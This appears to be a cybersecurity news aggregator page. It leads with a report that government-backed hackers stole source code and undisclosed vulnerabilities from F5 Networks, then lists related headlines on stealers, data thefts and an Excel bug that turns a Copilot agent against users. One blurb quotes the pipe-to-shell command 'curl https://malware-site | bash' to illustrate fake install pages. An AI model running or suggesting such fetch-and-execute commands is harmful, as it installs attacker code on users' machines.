Cyber giant F5 Networks says government hackers had ‘long-term’ access to its systems


Cybersecurity firm F5 Networks says government-backed hackers had “long-term, persistent access” to its network, which allowed them to steal the company’s source code and customer information. In a filing with the U.S. Securities and Exchange Commission on Wednesday,

F5 said it now “believes its containment actions have been successful,” after first discovering the hackers in its network on August 9. The Seattle, Washington-based company, which specializes in providing application security and cybersecurity defenses for large companies and governments, said the hackers had access to its BIG-IP product development environment and its knowledge management systems, which included source code and publicly undisclosed security vulnerabilities.

Read more…
Source: TechCrunch News


Sign up for the Cyber Security Review Newsletter
The latest cyber security news and insights delivered right to your inbox


Related:

  • Critical Microsoft Excel bug weaponizes Copilot Agent for zero-click information disclosure attack

    March 10, 2026

    After a whopper of a Patch Tuesday last month, with six Microsoft flaws exploited as zero-days, March didn’t exactly roar in like a lion. Just two of the 83 Microsoft CVEs released on Tuesday are listed as publicly known, and none is under active exploitation, which we’re sure is a welcome change to sysadmins. Another eight ...

  • Polish cops bust alleged teen DDoS kit sellers – youngest just 12

    March 10, 2026

    Polish police have referred seven suspected juvenile cybercriminals to family court over an alleged scheme to flog DDoS kits online. The youths, aged between 12 and 16 at the time of the alleged offenses, all face charges related to selling DDoS tools in what police described as a purely profit-driven scheme. Poland’s Central Bureau for Combating ...

  • ShinyHunters claims more high-profile victims in latest Salesforce customers data heist

    March 9, 2026

    ShinyHunters told The Register that it has stolen data from about 100 high-profile companies in its latest Salesforce customer data heist, including Salesforce itself. “Have stolen data from almost 400 websites and about 100 essential high profile companies Snowflake, Okta, Lastpass, Salesforce itself, Sony, AMD, and a lot more,” a ShinyHunters spokesperson told us, adding ...

  • Fake Claude Code install pages hit Windows and Mac users with infostealers

    March 9, 2026

    Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments. Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter.​ That habit turns the ...

  • New BoryptGrab Stealer Targets Windows Users via Deceptive GitHub Pages

    March 5, 2026

    Trend Micro researchers recently found the existence of a new stealer binary that collects browser and cryptocurrency wallet data, system information, and common files, among others. The researchers designated this new stealer BoryptGrab. Certain variants of the stealer can download a PyInstaller backdoor, which Trend Micro refer to as TunnesshClient. TunnesshClient establishes a reverse Secure Shell ...

  • Microsoft warns of new signed malware which deploys remote monitoring tools as backdoors

    March 5, 2026

    Microsoft is warning of a new phishing campaign which aims to deploy persistent backdoors to victim’s computers. In a new in-depth analysis, the company’s researchers said they recently spotted multiple phishing campaigns, currently not attributed to any known threat actors, which send out emails with weaponized PDF files (financial documents, invoices), fake meeting invitations, or organizational ...